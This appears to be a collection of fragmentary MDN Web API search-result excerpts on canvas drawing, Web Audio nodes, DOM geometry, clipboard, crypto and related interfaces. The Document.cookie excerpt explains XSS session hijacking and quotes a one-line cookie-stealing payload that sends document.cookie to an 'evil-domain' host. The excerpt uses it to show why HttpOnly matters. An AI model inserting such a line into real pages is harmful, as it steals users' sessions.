new imagedata object with purple pixels. html <canvas id="canvas"></canvas> javascript since each pixel consists of four values, the for loop iterates by multiples of four. the array values associated with each pixel are r (red), g (green), b (blue), and a (alpha), in that order. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createi...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
ult checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in the stroke of an elliptical path2d path. if yes, the ellipse's stroke becomes green, otherwise it is red. ...
...ple checks whether the cursor is in the stroke of an elliptical path2d path. if yes, the ellipse's stroke becomes green, otherwise it is red. ...
CanvasRenderingContext2D.lineCap - Web APIs
re" the ends of lines are squared off by adding a box with an equal width and half the height of the line's thickness. examples changing the shape of line caps this example rounds the end caps of a straight line. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 20); ctx.li
newidth = 15; ctx.linecap = 'round'; ctx.lineto(100, 100); ctx.stroke(); result comparison of line caps in this example three lines are drawn, each with a different value for the linecap property. two guides to see the exact differences between the three are added. each of these lines starts and ends exactly on these guides. the line on the left uses the default "butt" option. it's drawn compl...
... living standard ...
CanvasRenderingContext2D.lineJoin - Web APIs
s to connect at a single point, with the effect of filling an additional lozenge-shaped area. this setting is affected by the miterlimit property. default value. examples changing the joins in a path this example applies rounded line joins to a path. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.li
newidth = 20; ctx.linejoin = 'round'; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(190, 100); ctx.lineto(280, 20); ctx.lineto(280, 150); ctx.stroke(); result comparison of line joins the example below draws three different paths, demonstrating each of the three linejoin options. <canvas id="canvas" width="150" height="150"></canvas> var ctx = document.getelementbyid('canvas').getcontext(...
...oveto(20, 20); ctx.lineto(190, 100); ctx.lineto(280, 20); ctx.lineto(280, 150); ctx.stroke(); result comparison of line joins the example below draws three different paths, demonstrating each of the three linejoin options. ...
CanvasRenderingContext2D.lineTo() - Web APIs
the y-axis coordinate of the line's end point. return value undefined. examples drawing a straight line this example draws a straight line using the lineto() method. html <canvas id="canvas"></canvas> javascript the line begins at (30, 50) and ends at (150, 100). const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); // start a
new path ctx.moveto(30, 50); // move the pen to (30, 50) ctx.lineto(150, 100); // draw a line to (150, 100) ctx.stroke(); // render the path result drawing connected lines each call of lineto() (and similar methods) automatically adds to the current sub-path, which means that all the lines will all be stroked or filled together. this example draws a letter 'm' with a single contiguo...
...rrent sub-path, which means that all the lines will all be stroked or filled together. this example draws a letter 'm' with a single contiguous line. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.moveto(90, 130); ctx.lineto(95, 25); ctx.lineto(150, 80); ctx.lineto(205, 25); ctx.lineto(210, 130); ctx.li
newidth = 15; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.lineto' in that specification. living standard ...
CanvasRenderingContext2D.shadowColor - Web APIs
shadows' color, while shadowoffsetx and shadowoffsety set their position relative to the shapes. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 10; ctx.shadowoffsety = 10; // filled rectangle ctx.fillrect(20, 20, 100, 100); // stroked rectangle ctx.li
newidth = 6; ctx.strokerect(170, 20, 100, 100); result shadows on translucent shapes a shadow's opacity is affected by the transparency level of its parent object (even when shadowcolor specifies a completely opaque value). this example strokes and fills a rectangle with translucent colors. html <canvas id="canvas"></canvas> javascript the resulting alpha value of the fill shadow is .8 * .2...
... is .8 * .2, or .16. the alpha of the stroke shadow is .8 * .6, or .48. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'rgba(255, 0, 0, .8)'; ctx.shadowblur = 8; ctx.shadowoffsetx = 30; ctx.shadowoffsety = 20; // filled rectangle ctx.fillstyle = 'rgba(0, 255, 0, .2)'; ctx.fillrect(10, 10, 150, 100); // stroked rectangle ctx.li
newidth = 10; ctx.strokestyle = 'rgba(0, 0, 255, .6)'; ctx.strokerect(10, 10, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowcolor' in that specification. living standard ...
A basic ray-caster - Web APIs
this article provides an interesting real-world example of using the <canvas> element to do software rendering of a 3d environment using ray-casting. open in
new window why? after realizing, to my delight, that the nifty <canvas> element i'd been reading about was not only soon to be supported in firefox, but was already supported in the current version of safari, i had to try a little experiment. the canvas overview and tutorial i found here at mdn are great, but nobody had written about animation yet, so i thought i'd try a port of a basic raycaster i'd worked on a while ago, and see what sort of performance we can expect from a javascript-controlled pixel buffer. how? the basic idea is to use setinterval() at some arbitrary delay that corresponds to a desired frame rate. after e...
... everything so it makes sense to me, and all the tinkering that had to be done to make things work well. results the canvas in safari 2.0.1 performed surprisingly well. with the blockiness factor cranked up to render slivers 8 pixels wide, i can run a 320 x 240 window at 24 fps on my apple mini. firefox 1.5 beta 1 is even faster; i can run 320 x 240 at 24 fps with 4 pixel slivers. not exactly a
new member of the id software family, but pretty decent considering it's a fully interpreted environment, and i didn't have to worry about memory allocation or video modes or coding inner routines in assembler or anything. the code does attempt to be very efficient, using array look-ups of pre-computed values, but i'm no optimization guru, so things could probably be written faster. also, it leaves ...
Optimizing canvas - Web APIs
atively static. a possible optimization in this situation is to layer your items using multiple <canvas> elements. for example, let's say you have a game with a ui on top, the gameplay action in the middle, and a static background on the bottom. in this case, you could split your game into three <canvas> layers. the ui would change only upon user input, the gameplay layer would change with every
new frame, and the background would remain generally unchanged. <div id="stage"> <canvas id="ui-layer" width="480" height="320"></canvas> <canvas id="game-layer" width="480" height="320"></canvas> <canvas id="background-layer" width="480" height="320"></canvas> </div> <style> #stage { width: 480px; height: 320px; position: relative; border: 2px solid black; } canvas { p...
...se when creating a drawing context with htmlcanvaselement.getcontext(). this information can be used internally by the browser to optimize rendering. var ctx = canvas.getcontext('2d', { alpha: false }); more tips batch canvas calls together. for example, draw a polyline instead of multiple separate lines. avoid unnecessary canvas state changes. render screen differences only, not the whole
new state. avoid the shadowblur property whenever possible. avoid text rendering whenever possible. try different ways to clear the canvas (clearrect() vs. fillrect() vs. resizing the canvas). with animations, use window.requestanimationframe() instead of window.setinterval() . be careful with heavy physics libraries. ...
ChannelMergerNode() - Web APIs
the channelmergernode() constructor creates a
new channelmergernode object instance. syntax var mynode =
new channelmergernode(context, options); parameters context a baseaudiocontext representing the audio context you want the node to be associated with. options optional a channelmergeroptions dictionary object defining the properties you want the channelmergernode to have (also inherits parameters from the audionodeoptions dictionary): numberofinputs: a number defining the number of inputs the channelmergernode should have. if not specified, the default value used is 6. return value a
new channelmergernode object instance. ...
... inherits parameters from the audionodeoptions dictionary): numberofinputs: a number defining the number of inputs the channelmergernode should have. if not specified, the default value used is 6. return value a
new channelmergernode object instance. exceptions invalidstateerror an option such as channelcount or channelcountmode has been given an invalid value. example var ac =
new audiocontext(); var options = { numberofinputs : 2 } var mymerger =
new channelmergernode(ac, options); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification. working draft ...
ChannelMergerNode - Web APIs
that case, when the signal is sent to the audiocontext.listener object, supernumerary channels will be ignored. number of inputs variable; default to 6. number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor channelmergernode() creates a
new channelmergernode object instance. properties no specific property; inherits properties from its parent, audionode. methods no specific method; inherits methods from its parent, audionode. example the following example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. to use them, you need to use the second and third pa...
...nt, audionode. example the following example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify both the index of the channel to connect from and the index of the channel to connect to. ...
ChannelSplitterNode - Web APIs
variable; default to 6. channel count mode "explicit" older implementations, as per earlier versions of the spec use "max". channel count fixed to the number of outputs. older implementations, as per earlier versions of the spec use 2 (not used in the default count mode). channel interpretation "discrete" constructor channelsplitternode() creates a
new channelsplitternode object instance. properties no specific property; inherits properties from its parent, audionode. methods no specific method; inherits methods from its parent, audionode. example the following simple example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. to use them, you need to use the second and...
..., audionode. example the following simple example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify the index of the channel to connect from and the index of the channel to connect to. ...
Clients.openWindow() - Web APIs
if the calling script doesn't have permission to show popups, openwindow() will throw an invalidaccesserror. in firefox, the method is allowed to show popups only when called as the result of a notification click event. in chrome for android, the method may instead open the url in an existing browsing context provided by a standalone web app previously added to the user's home screen. as of recently, this also works on chrome for windows. ...
... if (!hadwindowtofocus) clients.openwindow(e.notification.data.url).then(windowclient => windowclient ? windowclient.focus() : null); })); }); specifications specification status comment service workersthe definition of 'clients: openwindow' in that specification. working draft initial definition. ...
Clipboard.write() - Web APIs
of clipboarditem objects containing data to be written to the clipboard. return value a promise which is resolved when the data has been written to the clipboard. the promise is rejected if the clipboard is unable to complete the clipboard access. example this example function replaces the current contents of the clipboard with a specified string. function setclipboard(text) { let data = [
new clipboarditem({ "text/plain": text })]; navigator.clipboard.write(data).then(function() { /* success */ }, function() { /* failure */ }); } the code begins by creating a
new clipboarditem object into which the text will be placed for sending to the clipboard. the key of the object passed to the clipboarditem constructor indicates the content type, the value indicates the content.
...icates the content type, the value indicates the content. the content could be a text or even a blob (e.g. for copying images to the clipboard). then write() is called, specifying both a fulfilment function and an error function. example of copying canvas contents to the clipboard function copycanvascontentstoclipboard(canvas, ondone, onerror) { canvas.toblob(function (blob) { let data = [
new clipboarditem({ [blob.type]: blob })]; navigator.clipboard.write(data).then(function () { ondone(); }, function (err) { onerror(err); }) }); } note: you can only pass in one clipboard item at a time. specifications specification status comment clipboard api and eventsthe definition of 'write()' in that specification. working draft init...
console - Web APIs
triangles to examine the contents of child objects. console.dirxml() displays an xml/html element representation of the specified object if possible or the javascript object view if it is not possible. console.error() outputs an error message. you may use string substitution and additional arguments with this method. console.exception() an alias for error(). console.group() creates a
new inline group, indenting all following output by another level. to move back out a level, call groupend(). console.groupcollapsed() creates a
new inline group, indenting all following output by another level. however, unlike group() this starts with the inline group collapsed requiring the use of a disclosure button to expand it. to move back out a level, call groupend(). console.groupend() ex...
...properties such as text-transform white-space word-spacing and word-break writing-mode note: the console message behaves like an inline element by default. to see the effects of padding, margin, etc. you should set it to for example display: inline-block. using groups in the console you can use nested groups to help organize your output by visually combining related material. to create a
new nested block, call console.group(). the console.groupcollapsed() method is similar but creates the
new block collapsed, requiring the use of a disclosure button to open it for reading. to exit the current group, simply call console.groupend(). for example, given this code: console.log("this is the outer level"); console.group("first group"); console.log("in the first group"); console.group("sec...
ConstantSourceNode() - Web APIs
options a constantsourceoptions dictionary object defining the properties you want the constantsourcenode to have: offset: a read-only audioparam specifying the constant value generated by the source. the default is 1.0. the normal range is -1.0 to 1.0, but the value can be anywhere in the range from -infinity to +infinity. ...
...onstantsourcenode to have: offset: a read-only audioparam specifying the constant value generated by the source. the default is 1.0. the normal range is -1.0 to 1.0, but the value can be anywhere in the range from -infinity to +infinity. example in this example, an audio context is created, then a constantsourcenode is established with its offset initialized to 0.5. let audiocontext =
new audiocontext(); let myconstantsource =
new constantsourcenode(audiocontext, { offset: 0.5 }); note: the
new constantsourcenode created by the constructor has a channelcount of 2. specifications specification status comment web audio apithe definition of 'constantsourcenode: constantsourcenode' in that specification. working draft ...
ContentIndexEvent() - Web APIs
the contentindexevent() constructor creates a
new contentindexevent object whose type and other options are configured as specified. syntax var contentindexevent =
new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred. for contentindexevent, this is always delete. eventinitdict optional an options object containing any initialization data you want to populate the contentindexevent object with. the options are: id: the id of the indexed content you want the contentindexevent to remove. return value a contentindexevent object configured using the given inputs. examples this examples constructs a
new contentindexevent with the relevant id. var removedata = { id : 'unique-content-id' } var cievent =...
...nitialization data you want to populate the contentindexevent object with. the options are: id: the id of the indexed content you want the contentindexevent to remove. return value a contentindexevent object configured using the given inputs. examples this examples constructs a
new contentindexevent with the relevant id. var removedata = { id : 'unique-content-id' } var cievent =
new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification. unknown initial definition. ...
ConvolverNode - Web APIs
always has exactly one input and one output. note: for more information on the theory behind linear convolution, see the convolution article on wikipedia. number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a
new convolvernode object instance. properties inherits properties from its parent, audionode. convolvernode.buffer a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the reverb effect. convolvernode.normalize a boolean that controls whether the impulse response from the buffer will be scaled by an equal-power n...
... an equal-power normalization when the buffer attribute is set, or not. methods no specific method; inherits methods from its parent, audionode. convolvernode example the following example shows basic usage of an audiocontext to create a convolver node. note: you will need to find an impulse response to complete the example below. see this codepen for an applied example. let audioctx =
new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ... let reverb = await createreverb(); ...
CredentialsContainer.create() - Web APIs
it must include one of the options "password", "federated", or "publickey". the options are: password: optional either an htmlformelement, or a passwordcredentialdata object. ...
...it must include one of the options "password", "federated", or "publickey". the options are: password: optional either an htmlformelement, or a passwordcredentialdata object. tbd id: (required) usvstring inherited from credentialdata. ...
Crypto.getRandomValues() - Web APIs
ed from an insecure context. syntax typedarray = cryptoobj.getrandomvalues(typedarray); parameters typedarray an integer-based typedarray, that is an int8array, a uint8array, an int16array, a uint16array, an int32array, or a uint32array. all elements in the array are overwritten with random numbers. return value the same array passed as typedarray but with its contents replaced with the
newly generated random numbers. note that typedarray is modified in-place, and no copy is made. exceptions this method can throw an exception under error conditions. domexception (name: quotaexceedederror) the requested length exceeds 65,536 bytes. usage notes don't use getrandomvalues() to generate encryption keys. instead, use the generatekey() method. there are a few reasons for this; for...
...numbers, using a well-defined, efficient pseudorandom number generator built into the user agent itself, but seeded with values taken from an external source of pseudorandom numbers, such as a platform-specific random number function, the unix /dev/urandom device, or other source of random or pseudorandom data. examples /* assuming that window.crypto.getrandomvalues is available */ var array =
new uint32array(10); window.crypto.getrandomvalues(array); console.log("your lucky numbers:"); for (var i = 0; i < array.length; i++) { console.log(array[i]); } specification specification status comment web cryptography api recommendation initial definition ...
CustomElementRegistry - Web APIs
customelementregistry.get() returns the constuctor for the named custom element, or undefined if the custom element is not defined. customelementregistry.upgrade() upgrades a custom element directly, even before it is connected to its shadow root. ...
... specifications specification status comment html living standardthe definition of 'customelementregistry' in that specification. living standard initial definition. ...
CustomEvent() - Web APIs
the customevent() constructor creates a
new customevent. note: this feature is available in web workers. syntax event =
new customevent(typearg, customeventinit); parameters typearg a domstring representing the name of the event. customeventinit optional a customeventinit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event. the customeventinit dictionary also accepts fields from the eventinit dictionary. return value a
new customevent object of the specified type, with any other properties configured according to the customeventinit dictionary (if one was provided). example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(...
...ventinit dictionary also accepts fields from the eventinit dictionary. return value a
new customevent object of the specified type, with any other properties configured according to the customeventinit dictionary (if one was provided). example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event var event =
new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); additional examples can be found at creating and triggering events. specifications specification status comment domthe definition of 'customevent()' in that specification. living standard initial definition. ...
DOMMatrixReadOnly() - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly' in that specification. ...
... specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly' in that specification. ...
DOMPoint.DOMPoint() - Web APIs
the dompoint() constructor creates and returns a
new dompoint object, given the values for some or all of its properties. you can also create a dompoint by calling the dompoint.frompoint() static function. that function accepts as input a dompointinit compatible object, including a dompoint or dompointreadonly. syntax point =
new dompoint(x, y, z, w); parameters x optional the x coordinate for the
new dompoint. y optional the y coordinate for the
new dompoint. z optional the z coordinate for the
new dompoint. w optional the perspective value of the
new dompoint. examples this example creates a dompoint representing the top-left corner of the current window, then creates a second point based on the first, which is then offset by 100 pixels both vertically and horizontally. v...
...nt. y optional the y coordinate for the
new dompoint. z optional the z coordinate for the
new dompoint. w optional the perspective value of the
new dompoint. examples this example creates a dompoint representing the top-left corner of the current window, then creates a second point based on the first, which is then offset by 100 pixels both vertically and horizontally. var windtopleft =
new dompoint(window.screenx, window.screeny); var
newtopleft = dompoint.frompoint(windtopleft);
newtopleft.x += 100;
newtopleft.y += 100; specifications specification status comment geometry interfaces module level 1the definition of 'dompoint()' in that specification. candidate recommendation initial definition ...
DOMPoint - Web APIs
an optional perspective value. dompoint is based on dompointreadonly but allows its properties' values to be changed. in general, a positive x component represents a position to the right of the origin, a positive y component is downward from the origin, and a positive z component extends outward from the screen (in other words, toward the user). constructor dompoint() creates and returns a
new dompoint object given the values of zero or more of its coordinate components and optionally the w perspective value. you can also use an existing dompoint or dompointreadonly or a dompointinit dictionary to create a
new point by calling the dompoint.frompoint() static method. methods dompoint inherits methods from its parent, dompointreadonly. static methods dompoint.frompoint() crea...
...int object given the values of zero or more of its coordinate components and optionally the w perspective value. you can also use an existing dompoint or dompointreadonly or a dompointinit dictionary to create a
new point by calling the dompoint.frompoint() static method. methods dompoint inherits methods from its parent, dompointreadonly. static methods dompoint.frompoint() creates a
new mutable dompoint object given an existing point (or a dompointinit dictionary) which provides the values for its properties. properties dompoint inherits properties from its parent, dompointreadonly. dompoint.x the x coordinate of the dompoint. dompoint.y the y coordinate of the dompoint. dompoint.z the z coordinate of the dompoint. dompoint.w the perspective value of the dompoint. ...
DOMPointReadOnly.fromPoint() - Web APIs
the static dompointreadonly method frompoint() creates and returns a
new dompointreadonly object given a source point. the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly. you can also create a
new dompointreadonly object using the
new dompointreadonly() constructor. syntax const point = dompointreadonly.frompoint(sourcepoint) properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the
new point's properties. return value a
new dompointreadonly object (which is identical to the source point). examples creating a 2d point this sample creates a 2d point, specifying an inline object that includes the values to use for x and y. the z a...
...t). examples creating a 2d point this sample creates a 2d point, specifying an inline object that includes the values to use for x and y. the z and w properties are allowed to keep their default values (0 and 1 respectively). const point2d = dompointreadonly.frompoint({x: 25, y: 25}) creating a 3d point using an existing point this example creates a point, origpoint, of type dompoint, using
new dompoint(). that point is then used as the input for frompoint() to create a
new point,
newpoint. const origpoint =
new dompoint(25, 25, 100, 0.5) const
newpoint = dompointreadonly.frompoint(origpoint) specifications specification status comment geometry interfaces module level 1the definition of 'frompoint()' in that specification. candidate recommendation i...
DOMRect - Web APIs
properties domrect inherits properties from its parent, domrectreadonly. the difference is that they are not read-only anymore. domrectreadonly.x the x coordinate of the domrect's origin. domrectreadonly.y the y coordinate of the domrect's origin. domrectreadonly.width the width of the domrect. domrectreadonly.height the height of the domrect. domrectreadonly.top ...
... specifications specification status comment geometry interfaces module level 1the definition of 'domrect' in that specification. candidate recommendation initial definition. ...
DOMRectReadOnly - Web APIs
note that this constructor cannot be called by 3rd party javascript; doing so returns an "illegal constructor" typeerror. properties domrectreadonly.x read only the x coordinate of the domrect's origin. domrectreadonly.y read only the y coordinate of the domrect's origin. domrectreadonly.width read only the width of the domrect. ...
...ectreadonly.right read only returns the right coordinate value of the domrect (usually the same as x + width). domrectreadonly.bottom read only returns the bottom coordinate value of the domrect (usually the same as y + height). domrectreadonly.left read only returns the left coordinate value of the domrect (usually the same as x). static methods domrectreadonly.fromrect() creates a
new domrect object with a given location and dimensions. specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly' in that specification. candidate recommendation initial definition. ...
DOMTokenList.replace() - Web APIs
return value a boolean value, which is true if oldtoken was successfully replaced, or false if not. note: in older browsers, replace() returns void. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. ...
... return value a boolean value, which is true if oldtoken was successfully replaced, or false if not. note: in older browsers, replace() returns void. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. ...
DataTransfer.dropEffect - Web APIs
(typically visual) the user is given during a drag and drop operation. it will affect which cursor is displayed while dragging. for example, when the user hovers over a target drop element, the browser's cursor may indicate which type of operation will occur. when the datatransfer object is created, dropeffect is set to a string value. on getting, it returns its current value. on setting, if the
new value is one of the values listed below, then the property's current value will be set to the
new value and other values will be ignored. for the dragenter and dragover events, dropeffect will be initialized based on what action the user is requesting. how this is determined is platform specific, but typically the user can press modifier keys such as the alt key to adjust the desired action. wit...
...as desired, which will be the value dropeffect had after the last dragenter or dragover event. in a dragend event, for instance, if the desired dropeffect is "move", then the data being dragged should be removed from the source. syntax datatransfer.dropeffect; values a domstring representing the drag operation effect. the possible values are: copy a copy of the source item is made at the
new location. move an item is moved to a
new location. link a link is established to the source at the
new location. none the item may not be dropped. assigning any other value to dropeffect has no effect and the old value is retained. example this example shows the use of the dropeffect and effectallowed properties. html content <div> <p id="source" ondragstart="dragstart_handler(event...
DataTransfer.mozSetDataAt() - Web APIs
the datatransfer.mozsetdataat() method is used to add data to a specific index in the drag event's data transfer object. a data transfer may store multiple items, each at a given zero-based index. mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a
new item is added, and the mozitemcount is incremented by one. data should be added in order of preference, with the most specific format added first and the least specific format added last. if data of the given format already exists, it is replaced in the same position as the old data. the data should be either a string, a boolean or number type (which will be converted into a string) or an nsisupports. note: this method is gec...
... to add to the drag data object. data a nsivariant representing the data to add to the drag data object. index a unsigned long representing the index of the data to add. return value void example this example shows the use of the mozsetdataat() method in a dragstart handler. function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two
new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard. ...
DedicatedWorkerGlobalScope: message event - Web APIs
the message event is fired on a dedicatedworkerglobalscope object when the worker receives a message from its parent (i.e. when the parent sends a message using worker.postmessage()). ...
... a dedicatedworkerglobalscope object when the worker receives a message from its parent (i.e. when the parent sends a message using worker.postmessage()). ...
DelayNode() - Web APIs
the delaynode() constructor of the web audio api creates a
new delaynode object with a delay-line; an audionode audio-processing module that causes a delay between the arrival of an input data, and its propagation to the output. syntax var delaynode =
new delaynode(context); var delaynode =
new delaynode(context, options); parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext or offlineaudiocontext. options optional an object specifying the delay node options. can contain the following members: delaytime: the initial delay time for the node, in seconds. the default is 0. maxdelaytime: the maximum delay time for the node, in seconds. defaults to 1. return value a
new delaynode object instance. example const audioct...
...xt a reference to an audiocontext or offlineaudiocontext. options optional an object specifying the delay node options. can contain the following members: delaytime: the initial delay time for the node, in seconds. the default is 0. maxdelaytime: the maximum delay time for the node, in seconds. defaults to 1. return value a
new delaynode object instance. example const audioctx =
new audiocontext(); const delaynode =
new delaynode(audioctx, { delaytime: 0.5, maxdelaytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to ...
DelayNode.delayTime - Web APIs
the delaytime property of the delaynode interface is an a-rate audioparam representing the amount of delay to apply. delaytime is expressed in seconds, its minimal value is 0, and its maximum value is defined by the maxdelaytime argument of the audiocontext.createdelay() method that created it. syntax var audioctx =
new audiocontext(); var mydelay = audioctx.createdelay(5.0); mydelay.delaytime.value = 3.0; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the righ...
...n a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.start(); synthsource.connect(synthdelay); synthdelay.connect(destination); this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function(...
DelayNode - Web APIs
ng a graph that has a cycle, it is mandatory to have at least one delaynode in the cycle, or the nodes taking part in the cycle will be muted. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor delaynode() creates a
new instance of an delaynode object instance. alternatively, you can use the baseaudiocontext.createdelay() factory method. properties inherits properties from its parent, audionode. delaynode.delaytime read only is an a-rate audioparam representing the amount of delay to apply, specified in seconds. methods no specific methods; inherits methods from its parent, audionode. example we hav...
...n a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.start(); synthsource.connect(synthdelay); synthdelay.connect(destination); this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function(...
DeprecationReportBody - Web APIs
avigatorgetusermedia. this can be used to group reports by deprecated feature. anticipatedremoval a date object (rendered as a string) representing the date when the feature is expected to be removed from the current browser. if the date is not known, this property will return null. message a string containing a human-readable description of the deprecation, including information such as what
newer feature has superceded it, if any. this typically matches the message a browser will display in its devtools console when a deprecated feature is used, if one is available. sourcefile a string containing the path to the source file where the deprecated feature was used, if known, or null otherwise. linenumber a number representing the line in the source file in which the deprecated feature ...
...s used, if known, or null otherwise. columnnumber a number representing the column in the source file in which the deprecated feature was used, if known, or null otherwise. ...
Detecting device orientation - Web APIs
these are described in greater detail in the orientation and motion data explained article which is summarized below. the deviceorientationevent.alpha value represents the motion of the device around the z axis, re...
... warning: chrome and firefox do not handle the angles the same way, so on some axes the direction are reversed. processing motion events motion events are handled the same way as the orientation events except that they have their own event's name: devicemotion window.addeventlistener("devicemotion"...
Document.anchors - Web APIs
document.anchors; value an htmlcollection. ...
...nd too many anchors"); } the following is an example that auto populates a table of contents with every anchor on the page: <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>test</title> <script> function init() { var toc = document.getelementbyid("toc"); var i, li,
newanchor; for (i = 0; i < document.anchors.length; i++) { li = document.createelement("li");
newanchor = document.createelement('a');
newanchor.href = "#" + document.anchors[i].name;
newanchor.innerhtml = document.anchors[i].text; li.appendchild(
newanchor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li...
Document.cookie - Web APIs
d all cookies accessible from this location allcookies = document.cookie; in the code above allcookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). note that each key and value may be surrounded by whitespace (space and tab characters): in fact, rfc 6265 mandates a single space after each semicolon, but some user agents may not abide by this. write a
new cookie document.cookie =
newcookie; in the code above,
newcookie is a string of form key=value. note that you can only set/update a single cookie at a time using this method. consider also that: any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: ;path=path (e.g., '/', '...
...e is by using a different domain or subdomain, due to the same origin policy. cookies are often used in web application to identify a user and their authenticated session. so stealing the cookie from a web application, will lead to hijacking the authenticated user's session. common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (
new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply upd...
Document.createAttribute() - Web APIs
the document.createattribute() method creates a
new attribute node, and returns it. the object created a node implementing the attr interface. the dom does not enforce what sort of attributes can be added to a particular element in this manner. the string given in parameter is converted to lowercase. syntax attribute = document.createattribute(name) parameters name is a string containing the name of the attribute. return value a attr node. exceptions invalid_character_err if the parameter contains invalid characters for xml attribute. ...
...meter is converted to lowercase. syntax attribute = document.createattribute(name) parameters name is a string containing the name of the attribute. return value a attr node. exceptions invalid_character_err if the parameter contains invalid characters for xml attribute. example var node = document.getelementbyid("div1"); var a = document.createattribute("my_attrib"); a.value = "
newval"; node.setattributenode(a); console.log(node.getattribute("my_attrib")); // "
newval" specifications specification status comment domthe definition of 'document.createattribute()' in that specification. living standard precised behavior with uppercase characters document object model (dom) level 3 core specificationthe definition of 'document.createattr...
Document.createDocumentFragment() - Web APIs
usage notes documentfragments are dom node objects which are never part of the main dom tree. the usual use case is to create the document fragment, append elements to the document fragment and then append the document fragment to the dom tree. in the dom tree, the document fragment is replaced by all its children. since the document fragment is in memory and not part of the main dom tree, appending children to it does not cause page reflow (computation of element's position and geometry). ...
